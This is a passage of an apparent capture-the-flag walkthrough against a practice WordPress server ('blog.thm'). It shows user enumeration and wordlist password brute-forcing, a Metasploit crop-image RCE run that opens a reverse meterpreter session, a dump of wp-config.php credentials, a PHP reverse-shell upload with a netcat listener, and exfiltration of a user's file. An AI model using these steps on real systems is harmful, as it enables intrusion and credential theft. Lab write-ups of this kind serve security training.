00:00:25 &lt;&gt; (302 / 400) 75.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (303 / 400) 75.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (305 / 400) 76.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (306 / 400) 76.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (307 / 400) 76.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (308 / 400) 77.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (309 / 400) 77.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (310 / 400) 77.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (311 / 400) 77.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (312 / 400) 78.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (313 / 400) 78.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:25 &lt;&gt; (314 / 400) 78.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (315 / 400) 78.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (317 / 400) 79.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (318 / 400) 79.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (319 / 400) 79.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (320 / 400) 80.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (322 / 400) 80.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (323 / 400) 80.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (324 / 400) 81.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (325 / 400) 81.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (327 / 400) 81.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (328 / 400) 82.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (329 / 400) 82.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:26 &lt;&gt; (330 / 400) 82.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (332 / 400) 83.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (333 / 400) 83.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (334 / 400) 83.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (336 / 400) 84.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (337 / 400) 84.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (338 / 400) 84.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (339 / 400) 84.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (341 / 400) 85.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (342 / 400) 85.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (343 / 400) 85.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (344 / 400) 86.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:27 &lt;&gt; (346 / 400) 86.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (347 / 400) 86.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (348 / 400) 87.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (349 / 400) 87.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (351 / 400) 87.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (352 / 400) 88.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (353 / 400) 88.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (354 / 400) 88.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (356 / 400) 89.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (357 / 400) 89.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (358 / 400) 89.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (359 / 400) 89.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (361 / 400) 90.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (362 / 400) 90.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:28 &lt;&gt; (363 / 400) 90.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:29 &lt;&gt; (364 / 400) 91.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:29 &lt;&gt; (366 / 400) 91.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:29 &lt;&gt; (371 / 400) 92.75%  ETA: 00:00: Checking Known Locations - Time: 00:00:30 &lt;&gt; (376 / 400) 94.00%  ETA: 00:00: Checking Known Locations - Time: 00:00:30 &lt;&gt; (381 / 400) 95.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:30 &lt;&gt; (386 / 400) 96.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:31 &lt;&gt; (390 / 400) 97.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:31 &lt;&gt; (393 / 400) 98.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:31 &lt;&gt; (397 / 400) 99.25%  ETA: 00:00: Checking Known Locations - Time: 00:00:31 &lt;&gt; (398 / 400) 99.50%  ETA: 00:00: Checking Known Locations - Time: 00:00:31 &lt;&gt; (400 / 400) 100.00% Time: 00:00:31<br>[+] Checking Theme Versions (via Passive and Aggressive Methods)<br><br>[i] Theme(s) Identified:<br><br>[+] twentynineteen<br> | Location: http://blog.thm/wp-content/themes/twentynineteen/<br> | Last Updated: 2025-04-15T00:00:00.000Z<br> | Readme: http://blog.thm/wp-content/themes/twentynineteen/readme.txt<br> | [!] The version is out of date, the latest version is 3.1<br> | Style URL: http://blog.thm/wp-content/themes/twentynineteen/style.css<br> | Style Name: Twenty Nineteen<br> | Style URI: https://wordpress.org/themes/twentynineteen/<br> | Description: Our 2019 default theme is designed to show off the power of the block editor. It features custom sty...<br> | Author: the WordPress team<br> | Author URI: https://wordpress.org/<br> |<br> | Found By: Known Locations (Aggressive Detection)<br> |  - http://blog.thm/wp-content/themes/twentynineteen/, status: 500<br> |<br> | Version: 1.5 (80% confidence)<br> | Found By: Style (Passive Detection)<br> |  - http://blog.thm/wp-content/themes/twentynineteen/style.css, Match: &#39;Version: 1.5&#39;<br><br>[+] twentyseventeen<br> | Location: http://blog.thm/wp-content/themes/twentyseventeen/<br> | Last Updated: 2025-04-15T00:00:00.000Z<br> | Readme: http://blog.thm/wp-content/themes/twentyseventeen/readme.txt<br> | [!] The version is out of date, the latest version is 3.9<br> | Style URL: http://blog.thm/wp-content/themes/twentyseventeen/style.css<br> | Style Name: Twenty Seventeen<br> | Style URI: https://wordpress.org/themes/twentyseventeen/<br> | Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...<br> | Author: the WordPress team<br> | Author URI: https://wordpress.org/<br> |<br> | Found By: Known Locations (Aggressive Detection)<br> |  - http://blog.thm/wp-content/themes/twentyseventeen/, status: 500<br> |<br> | Version: 2.3 (80% confidence)<br> | Found By: Style (Passive Detection)<br> |  - http://blog.thm/wp-content/themes/twentyseventeen/style.css, Match: &#39;Version: 2.3&#39;<br><br>[+] twentysixteen<br> | Location: http://blog.thm/wp-content/themes/twentysixteen/<br> | Last Updated: 2025-08-05T00:00:00.000Z<br> | Readme: http://blog.thm/wp-content/themes/twentysixteen/readme.txt<br> | [!] The version is out of date, the latest version is 3.6<br> | Style URL: http://blog.thm/wp-content/themes/twentysixteen/style.css<br> | Style Name: Twenty Sixteen<br> | Style URI: https://wordpress.org/themes/twentysixteen/<br> | Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead wi...<br> | Author: the WordPress team<br> | Author URI: https://wordpress.org/<br> |<br> | Found By: Known Locations (Aggressive Detection)<br> |  - http://blog.thm/wp-content/themes/twentysixteen/, status: 500<br> |<br> | Version: 2.1 (80% confidence)<br> | Found By: Style (Passive Detection)<br> |  - http://blog.thm/wp-content/themes/twentysixteen/style.css, Match: &#39;Version: 2.1&#39;<br><br>[+] twentytwenty<br> | Location: http://blog.thm/wp-content/themes/twentytwenty/<br> | Last Updated: 2025-04-15T00:00:00.000Z<br> | Readme: http://blog.thm/wp-content/themes/twentytwenty/readme.txt<br> | [!] The version is out of date, the latest version is 2.9<br> | Style URL: http://blog.thm/wp-content/themes/twentytwenty/style.css<br> | Style Name: Twenty Twenty<br> | Style URI: https://wordpress.org/themes/twentytwenty/<br> | Description: Our default theme for 2020 is designed to take full advantage of the flexibility of the block editor...<br> | Author: the WordPress team<br> | Author URI: https://wordpress.org/<br> |<br> | Found By: Urls In Homepage (Passive Detection)<br> | Confirmed By:<br> |  Urls In 404 Page (Passive Detection)<br> |  Known Locations (Aggressive Detection)<br> |   - http://blog.thm/wp-content/themes/twentytwenty/, status: 500<br> |<br> | Version: 1.3 (80% confidence)<br> | Found By: Style (Passive Detection)<br> |  - http://blog.thm/wp-content/themes/twentytwenty/style.css, Match: &#39;Version: 1.3&#39;<br><br>[+] Enumerating Users (via Passive and Aggressive Methods)<br> Brute Forcing Author IDs - Time: 00:00:02 &lt;&gt; (10 / 10) 100.00% Time: 00:00:02<br><br>[i] User(s) Identified:<br><br>[+] kwheel<br> | Found By: Author Posts - Author Pattern (Passive Detection)<br> | Confirmed By:<br> |  Wp Json Api (Aggressive Detection)<br> |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&amp;page=1<br> |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br> |  Login Error Messages (Aggressive Detection)<br><br>[+] bjoel<br> | Found By: Author Posts - Author Pattern (Passive Detection)<br> | Confirmed By:<br> |  Wp Json Api (Aggressive Detection)<br> |   - http://blog.thm/wp-json/wp/v2/users/?per_page=100&amp;page=1<br> |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)<br> |  Login Error Messages (Aggressive Detection)<br><br>[+] Karen Wheeler<br> | Found By: Rss Generator (Passive Detection)<br> | Confirmed By: Rss Generator (Aggressive Detection)<br><br>[+] Billy Joel<br> | Found By: Rss Generator (Passive Detection)<br> | Confirmed By: Rss Generator (Aggressive Detection)<br><br>[!] No WPScan API Token given, as a result vulnerability data has not been output.<br>[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register<br><br>[+] Finished: Wed Sep 24 13:45:42 2025<br>[+] Requests Done: 483<br>[+] Cached Requests: 21<br>[+] Data Sent: 121.008 KB<br>[+] Data Received: 23.381 MB<br>[+] Memory used: 285.031 MB<br>[+] Elapsed time: 00:00:57</pre><p>That script returned us some important information:</p><blockquote>User(s) Identified: <strong>kwheel</strong>, <strong>bjoel</strong>, Karen Wheeler, Billy Joel</blockquote><blockquote>No plugins Found.</blockquote><blockquote>WordPress theme in use: twentytwenty</blockquote><blockquote>WordPress version <strong>5.0 identified</strong> (Insecure, released on 2018–12–06).</blockquote><p>With these identified users we can now run a bruteforce script with wpscan.</p><pre>wpscan --url http://blog.thm --usernames kwheel,bjoel --passwords /usr/share/wordlists/rockyou.txt</pre><p>That will run for a while, so you don’t need to run until the end, once you see that the script is returning a bunch of time out request errors you can stop the script and it will return you something like this:</p><pre>[!] Valid Combinations Found:<br> | Username: kwheel, Password: cutiepie1</pre><p>After we finally found the password, we can go to the http://blog.thm/wp-admin/ directory and put these info in the fields.</p><p>We’re In:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OTSS-3jRyBayNCo-MTef9w.png" /></figure><h3>4# Exploitation</h3><p>Now that we know that the blog is using WordPress version 5.0 we can search for more info related to that version. First I ran searchsploit:</p><pre>┌──(kali㉿vbox)-[~]<br>└─$ searchsploit &quot;WordPress 5.0&quot;       <br>------------------------------------------- ---------------------------------<br> Exploit Title                             |  Path<br>------------------------------------------- ---------------------------------<br>NEX-Forms WordPress plugin &lt; 7.9.7 - Authe | php/webapps/51042.txt<br>WordPress 5.0.0 - Image Remote Code Execut | php/webapps/49512.py<br>WordPress Core 5.0 - Remote Code Execution | php/webapps/46511.js<br>WordPress Core 5.0.0 - Crop-image Shell Up | php/remote/46662.rb<br>WordPress Core &lt; 5.2.3 - Viewing Unauthent | multiple/webapps/47690.md<br>WordPress Core &lt; 5.3.x - &#39;xmlrpc.php&#39; Deni | php/dos/47800.py<br>WordPress Plugin AN_Gradebook 5.0.1 - SQLi | php/webapps/51632.py<br>WordPress Plugin Custom Pages 0.5.0.1 - Lo | php/webapps/17119.txt<br>WordPress Plugin Database Backup &lt; 5.2 - R | php/remote/47187.rb<br>WordPress Plugin DZS Videogallery &lt; 8.60 - | php/webapps/39553.txt<br>WordPress Plugin FeedWordPress 2015.0426 - | php/webapps/37067.txt<br>WordPress Plugin iThemes Security &lt; 7.0.3  | php/webapps/44943.txt<br>WordPress Plugin leenk.me 2.5.0 - Cross-Si | php/webapps/39704.txt<br>WordPress Plugin Marketplace Plugin 1.5.0  | php/webapps/18988.php<br>WordPress Plugin Network Publisher 5.0.1 - | php/webapps/37174.txt<br>WordPress Plugin Nmedia WordPress Member C | php/webapps/37353.php<br>WordPress Plugin Quick Page/Post Redirect  | php/webapps/32867.txt<br>WordPress Plugin RegistrationMagic V 5.0.1 | php/webapps/50686.py<br>WordPress Plugin Rest Google Maps &lt; 7.11.1 | php/webapps/48918.sh<br>WordPress Plugin Smart Slider-3 3.5.0.8 -  | php/webapps/49958.txt<br>WordPress Plugin WP-Property 1.35.0 - Arbi | php/webapps/18987.php<br>------------------------------------------- ---------------------------------<br>Shellcodes: No Results</pre><p>After learning that this version of wordpress is vulnerable to Crop-image Shell Up, I went to Metasploit to try get a shell.</p><p>Find more information about this vulnerability here <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-8942">CVE-2019–8942</a>.</p><p>Here’s how it went:</p><pre>msf6 &gt; use exploit/multi/http/wp_crop_rce<br>[*] No payload configured, defaulting to php/meterpreter/reverse_tcp<br>msf6 exploit(multi/http/wp_crop_rce) &gt; options<br><br>Module options (exploit/multi/http/wp_crop_rce):<br><br>   Name       Current Setting  Required  Description<br>   ----       ---------------  --------  -----------<br>   PASSWORD                    yes       The WordPress password to authenti<br>                                         cate with<br>   Proxies                     no        A proxy chain of format type:host:<br>                                         port[,type:host:port][...]<br>   RHOSTS                      yes       The target host(s), see https://do<br>                                         cs.metasploit.com/docs/using-metas<br>                                         ploit/basics/using-metasploit.html<br>   RPORT      80               yes       The target port (TCP)<br>   SSL        false            no        Negotiate SSL/TLS for outgoing con<br>                                         nections<br>   TARGETURI  /                yes       The base path to the wordpress app<br>                                         lication<br>   THEME_DIR                   no        The WordPress theme dir name (disa<br>                                         ble theme auto-detection if provid<br>                                         ed)<br>   USERNAME                    yes       The WordPress username to authenti<br>                                         cate with<br>   VHOST                       no        HTTP server virtual host<br><br><br>Payload options (php/meterpreter/reverse_tcp):<br><br>   Name   Current Setting  Required  Description<br>   ----   ---------------  --------  -----------<br>   LHOST  10.0.2.15        yes       The listen address (an interface may b<br>                                     e specified)<br>   LPORT  4444             yes       The listen port<br><br><br>Exploit target:<br><br>   Id  Name<br>   --  ----<br>   0   WordPress<br><br><br><br>View the full module info with the info, or info -d command.<br><br>msf6 exploit(multi/http/wp_crop_rce) &gt; set PASSWORD cutiepie1<br>PASSWORD =&gt; cutiepie1<br>msf6 exploit(multi/http/wp_crop_rce) &gt; set USERNAME kwheel<br>USERNAME =&gt; kwheel<br>msf6 exploit(multi/http/wp_crop_rce) &gt; set LHOST 10.2.50.28<br>LHOST =&gt; 10.2.50.28<br>msf6 exploit(multi/http/wp_crop_rce) &gt; set RHOSTS 10.201.17.2<br>RHOSTS =&gt; 10.201.17.2<br>msf6 exploit(multi/http/wp_crop_rce) &gt; run<br>[*] Started reverse TCP handler on 10.2.50.28:4444 <br>[*] Authenticating with WordPress using kwheel:cutiepie1...<br>[+] Authenticated with WordPress<br>[*] Preparing payload...<br>[*] Uploading payload<br>[+] Image uploaded<br>[*] Including into theme<br>[*] Sending stage (40004 bytes) to 10.201.17.2<br>[*] Attempting to clean up files...<br>[*] Meterpreter session 1 opened (10.2.50.28:4444 -&gt; 10.201.17.2:35068) at 2025-09-24 16:55:02 -0400<br><br>meterpreter &gt; sysinfo<br>Computer    : blog<br>OS          : Linux blog 4.15.0-101-generic #102-Ubuntu SMP Mon May 11 10:07:26 UTC 2020 x86_64<br>Meterpreter : php/linux<br>meterpreter &gt; ls<br>Listing: /var/www/wordpress<br>===========================<br><br>Mode            Size   Type  Last modified             Name<br>----            ----   ----  -------------             ----<br>100640/rw-r---  235    fil   2020-05-28 08:15:42 -040  .htaccess<br>--                           0<br>100640/rw-r---  235    fil   2020-05-27 23:44:26 -040  .htaccess_backup<br>--                           0<br>100644/rw-r--r  1111   fil   2025-09-24 16:53:58 -040  KNNEyjqEfO.php<br>--                           0<br>100640/rw-r---  418    fil   2013-09-24 20:18:11 -040  index.php<br>--                           0<br>100640/rw-r---  19935  fil   2020-05-26 11:39:37 -040  license.txt<br>--                           0<br>100640/rw-r---  7415   fil   2020-05-26 11:39:37 -040  readme.html<br>--                           0<br>100640/rw-r---  5458   fil   2020-05-26 11:39:37 -040  wp-activate.php<br>--                           0<br>040750/rwxr-x-  4096   dir   2018-12-06 13:00:07 -050  wp-admin<br>--                           0<br>100640/rw-r---  364    fil   2015-12-19 06:20:28 -050  wp-blog-header.php<br>--                           0<br>100640/rw-r---  1889   fil   2018-05-02 18:11:25 -040  wp-comments-post.php<br>--                           0<br>100640/rw-r---  2853   fil   2015-12-16 04:58:26 -050  wp-config-sample.php<br>--                           0<br>100640/rw-r---  3279   fil   2020-05-27 23:49:17 -040  wp-config.php<br>--                           0<br>040750/rwxr-x-  4096   dir   2020-05-25 23:52:32 -040  wp-content<br>--                           0<br>100640/rw-r---  3669   fil   2017-08-20 00:37:45 -040  wp-cron.php<br>--                           0<br>040750/rwxr-x-  12288  dir   2018-12-06 13:00:08 -050  wp-includes<br>--                           0<br>100640/rw-r---  2422   fil   2016-11-20 21:46:30 -050  wp-links-opml.php<br>--                           0<br>100640/rw-r---  3306   fil   2017-08-22 07:52:48 -040  wp-load.php<br>--                           0<br>100640/rw-r---  37286  fil   2020-05-26 11:39:37 -040  wp-login.php<br>--                           0<br>100640/rw-r---  8048   fil   2017-01-11 00:13:43 -050  wp-mail.php<br>--                           0<br>100640/rw-r---  17421  fil   2018-10-23 03:04:39 -040  wp-settings.php<br>--                           0<br>100640/rw-r---  30091  fil   2018-04-29 19:10:26 -040  wp-signup.php<br>--                           0<br>100640/rw-r---  4620   fil   2017-10-23 18:12:51 -040  wp-trackback.php<br>--                           0<br>100640/rw-r---  3065   fil   2016-08-31 12:31:29 -040  xmlrpc.php<br>--                           0<br><br>meterpreter &gt; cat wp-config.php<br>&lt;?php<br>/**<br> * The base configuration for WordPress<br> *<br> * The wp-config.php creation script uses this file during the<br> * installation. You don&#39;t have to use the web site, you can<br> * copy this file to &quot;wp-config.php&quot; and fill in the values.<br> *<br> * This file contains the following configurations:<br> *<br> * * MySQL settings<br> * * Secret keys<br> * * Database table prefix<br> * * ABSPATH<br> *<br> * @link https://codex.wordpress.org/Editing_wp-config.php<br> *<br> * @package WordPress<br> */<br><br>/* Custom */<br>/*<br>define(&#39;WP_HOME&#39;, &#39;/&#39;);<br>define(&#39;WP_SITEURL&#39;, &#39;/&#39;); */<br><br>// ** MySQL settings - You can get this info from your web host ** //<br>/** The name of the database for WordPress */<br>define(&#39;DB_NAME&#39;, &#39;blog&#39;);<br><br>/** MySQL database username */<br>define(&#39;DB_USER&#39;, &#39;wordpressuser&#39;);<br><br>/** MySQL database password */<br>define(&#39;DB_PASSWORD&#39;, &#39;LittleYellowLamp90!@&#39;);<br><br>/** MySQL hostname */<br>define(&#39;DB_HOST&#39;, &#39;localhost&#39;);<br><br>/** Database Charset to use in creating database tables. */<br>define(&#39;DB_CHARSET&#39;, &#39;utf8&#39;);<br><br>/** The Database Collate type. Don&#39;t change this if in doubt. */<br>define(&#39;DB_COLLATE&#39;, &#39;&#39;);<br><br>/** Custom FS Method */<br>define(&#39;FS_METHOD&#39;, &#39;direct&#39;);<br><br>/**#@+<br> * Authentication Unique Keys and Salts.<br> *<br> * Change these to different unique phrases!<br> * You can generate these using the {@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org secret-key service}<br> * You can change these at any point in time to invalidate all existing cookies. This will force all users to have to log in again.<br> *<br> * @since 2.6.0<br> */<br>define(&#39;AUTH_KEY&#39;,         &#39;ZCgJQaT0(*+Zjo}Iualapeo|?~nMtp^1IUrquYx3!#T$ihW8F~_`L+$N E&gt;J!Bm;&#39;);<br>define(&#39;SECURE_AUTH_KEY&#39;,  &#39;nz|(+d|| yVX-5_on76q%:M, ?{NVJ,Q(;p3t|_B*]-yQ&amp;|]3}M@Po!f_,T-S4fe&#39;);<br>define(&#39;LOGGED_IN_KEY&#39;,    &#39;a&amp;I&amp;DR;PUnPKul^kLBgxYa@`g||{eZf&gt;&lt;sf8SmKBi+R7`O?](SuL&amp;/H#hqzO$_:3&#39;);<br>define(&#39;NONCE_KEY&#39;,        &#39;Vdd-zzB:/yxg6unZvng,oY-%Z V,i%+Uz_f)S;Efz!;cY3p~]T,g1z*Z[jXe&gt;5Sm&#39;);<br>define(&#39;AUTH_SALT&#39;,        &#39;u+k8g;=jbe)6/X~&lt;M1HwINhH(Tno@orx:$_$-#*id)ddBYGGF(]AP?}4?2E|m;5`&#39;);<br>define(&#39;SECURE_AUTH_SALT&#39;, &#39;&gt;Rg5&gt;,/^BywVg^A[Etqot:CoU+9&lt;)YPM~h|)Ifd5!iK!L*5+JDiZi33KrYZNd2B7&#39;);<br>define(&#39;LOGGED_IN_SALT&#39;,   &#39;3kpL-rcnU+&gt;H#t/g&gt;9&lt;)j/u I1/-Ws;h6GrDQ&gt;v8%7@C~`h1lBC/euttp)/8EdA_&#39;);<br>define(&#39;NONCE_SALT&#39;,       &#39;JEajZ)y?&amp;.m-1^$(c-JX$zi0qv|7]F%7a6jh]P5SRs+%`*60?WJVk$&gt;&lt;b$poQg9&gt;&#39;);<br><br><br>/**#@-*/<br><br>/**<br> * WordPress Database Table prefix.<br> *<br> * You can have multiple installations in one database if you give each<br> * a unique prefix. Only numbers, letters, and underscores please!<br> */<br>$table_prefix  = &#39;wp_&#39;;<br><br>/**<br> * For developers: WordPress debugging mode.<br> *<br> * Change this to true to enable the display of notices during development.<br> * It is strongly recommended that plugin and theme developers use WP_DEBUG<br> * in their development environments.<br> *<br> * For information on other constants that can be used for debugging,<br> * visit the Codex.<br> *<br> * @link https://codex.wordpress.org/Debugging_in_WordPress<br> */<br>define(&#39;WP_DEBUG&#39;, false);<br><br>/* That&#39;s all, stop editing! Happy blogging. */<br><br>/** Absolute path to the WordPress directory. */<br>if ( !defined(&#39;ABSPATH&#39;) )<br>        define(&#39;ABSPATH&#39;, dirname(__FILE__) . &#39;/&#39;);<br><br>/** Sets up WordPress vars and included files. */<br>require_once(ABSPATH . &#39;wp-settings.php&#39;);</pre><p>Even though I managed to get the database User and Password, I wasn’t very successfull while trying to login to it, so I’ve just ignored it.</p><p>After that I’ve realized that I could upload a reverse shell to the site using meterpreter, so that’s what I’ve done:</p><pre>meterpreter &gt; ls<br>Listing: /var/www/wordpress<br>===========================<br><br>Mode            Size   Type  Last modified             Name<br>----            ----   ----  -------------             ----<br>100640/rw-r---  235    fil   2020-05-28 08:15:42 -040  .htaccess<br>--                           0<br>100640/rw-r---  235    fil   2020-05-27 23:44:26 -040  .htaccess_backup<br>--                           0<br>100644/rw-r--r  1111   fil   2025-09-24 16:53:58 -040  KNNEyjqEfO.php<br>--                           0<br>100640/rw-r---  418    fil   2013-09-24 20:18:11 -040  index.php<br>--                           0<br>100640/rw-r---  19935  fil   2020-05-26 11:39:37 -040  license.txt<br>--                           0<br>100640/rw-r---  7415   fil   2020-05-26 11:39:37 -040  readme.html<br>--                           0<br>100640/rw-r---  5458   fil   2020-05-26 11:39:37 -040  wp-activate.php<br>--                           0<br>040750/rwxr-x-  4096   dir   2018-12-06 13:00:07 -050  wp-admin<br>--                           0<br>100640/rw-r---  364    fil   2015-12-19 06:20:28 -050  wp-blog-header.php<br>--                           0<br>100640/rw-r---  1889   fil   2018-05-02 18:11:25 -040  wp-comments-post.php<br>--                           0<br>100640/rw-r---  2853   fil   2015-12-16 04:58:26 -050  wp-config-sample.php<br>--                           0<br>100640/rw-r---  3279   fil   2020-05-27 23:49:17 -040  wp-config.php<br>--                           0<br>040750/rwxr-x-  4096   dir   2020-05-25 23:52:32 -040  wp-content<br>--                           0<br>100640/rw-r---  3669   fil   2017-08-20 00:37:45 -040  wp-cron.php<br>--                           0<br>040750/rwxr-x-  12288  dir   2018-12-06 13:00:08 -050  wp-includes<br>--                           0<br>100640/rw-r---  2422   fil   2016-11-20 21:46:30 -050  wp-links-opml.php<br>--                           0<br>100640/rw-r---  3306   fil   2017-08-22 07:52:48 -040  wp-load.php<br>--                           0<br>100640/rw-r---  37286  fil   2020-05-26 11:39:37 -040  wp-login.php<br>--                           0<br>100640/rw-r---  8048   fil   2017-01-11 00:13:43 -050  wp-mail.php<br>--                           0<br>100640/rw-r---  17421  fil   2018-10-23 03:04:39 -040  wp-settings.php<br>--                           0<br>100640/rw-r---  30091  fil   2018-04-29 19:10:26 -040  wp-signup.php<br>--                           0<br>100640/rw-r---  4620   fil   2017-10-23 18:12:51 -040  wp-trackback.php<br>--                           0<br>100640/rw-r---  3065   fil   2016-08-31 12:31:29 -040  xmlrpc.php<br>--                           0<br><br>meterpreter &gt; cd ../<br>meterpreter &gt; ls<br>Listing: /var/www<br>=================<br><br>Mode              Size  Type  Last modified              Name<br>----              ----  ----  -------------              ----<br>040755/rwxr-xr-x  4096  dir   2020-05-25 23:14:44 -0400  html<br>040750/rwxr-x---  4096  dir   2025-09-24 16:53:58 -0400  wordpress<br><br>meterpreter &gt; cd html<br>meterpreter &gt; ls<br>Listing: /var/www/html<br>======================<br><br>Mode              Size   Type  Last modified              Name<br>----              ----   ----  -------------              ----<br>100644/rw-r--r--  10918  fil   2020-05-25 23:14:44 -0400  index.html</pre><p>But first, you will need to download the <a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php">rev shell script</a> and modify the “$ip” variable with your local machine one. After that you can run the following comand:</p><pre>meterpreter &gt; upload /home/kali/Desktop/shell.php /var/www/wordpress/wp-content/uploads/shell.php<br>[*] Uploading  : /home/kali/Desktop/shell.php -&gt; /var/www/wordpress/wp-content/uploads/shell.php<br>[*] Uploaded -1.00 B of 5.36 KiB (-0.02%): /home/kali/Desktop/shell.php -&gt; /var/www/wordpress/wp-content/uploads/shell.php<br>[*] Completed  : /home/kali/Desktop/shell.php -&gt; /var/www/wordpress/wp-content/uploads/shell.php</pre><p>Now I can simply open a new terminal and run netcat:</p><pre>nc -nlvp 1234</pre><p>Now if you go to firefox and paste this link http://blog.thm/wp-content/uploads/shell.php you will automatically get the shell.</p><h3>4# Privilage Escalation</h3><p>Now that we have a shell, let’s upgrade it:</p><pre>python3 -c &#39;import pty; pty.spawn(&quot;/bin/bash&quot;)&#39;</pre><p>Now let’s try to get the user.txt flag:</p><pre>www-data@blog:/$ cd home<br>cd home<br>www-data@blog:/home$ cd bjoel<br>cd bjoel<br>www-data@blog:/home/bjoel$ ls -la<br>ls -la<br>total 100<br>drwxr-xr-x 4 bjoel bjoel  4096 May 26  2020 .<br>drwxr-xr-x 3 root  root   4096 May 26  2020 ..<br>lrwxrwxrwx 1 root  root      9 May 26  2020 .bash_history -&gt; /dev/null<br>-rw-r--r-- 1 bjoel bjoel   220 Apr  4  2018 .bash_logout<br>-rw-r--r-- 1 bjoel bjoel  3771 Apr  4  2018 .bashrc<br>drwx------ 2 bjoel bjoel  4096 May 25  2020 .cache<br>drwx------ 3 bjoel bjoel  4096 May 25  2020 .gnupg<br>-rw-r--r-- 1 bjoel bjoel   807 Apr  4  2018 .profile<br>-rw-r--r-- 1 bjoel bjoel     0 May 25  2020 .sudo_as_admin_successful<br>-rw-r--r-- 1 bjoel bjoel 69106 May 26  2020 Billy_Joel_Termination_May20-2020.pdf<br>-rw-r--r-- 1 bjoel bjoel    57 May 26  2020 user.txt<br>www-data@blog:/home/bjoel$ cat user.txt<br>You won&#39;t find what you&#39;re looking for here.</pre><p>Unfortunately this was just a fake user.txt file, the real one is somehwere else. But I also noticed the presence of a file called “Billy_Joel_Termination_May20–2020.pdf”, so I went back to my meterpreter session and donwloaded it to my Kali machine:</p><pre>meterpreter &gt; download /home/bjoel/Billy_Joel_Termination_May20-2020.pdf<br>[*] Downloading: /home/bjoel/Billy_Joel_Termination_May20-2020.pdf -&gt; /home/kali/Downloads/Billy_Joel_Termination_May20-2020.pdf<br>[*] Downloaded 67.49 KiB of 67.49 KiB (100.0%): /home/bjoel/Billy_Joel_Termination_May20-2020.pdf -&gt; /home/kali/Downloads/Billy_Joel_Termination_May20-2020.pdf<br>[*] Completed  : /home/bjoel/Billy_Joel_Termination_May20-2020.pdf -&gt; /home/kali/Downloads/Billy_Joel_Termination_May20-2020.pdf</pre><p>That PDF contained 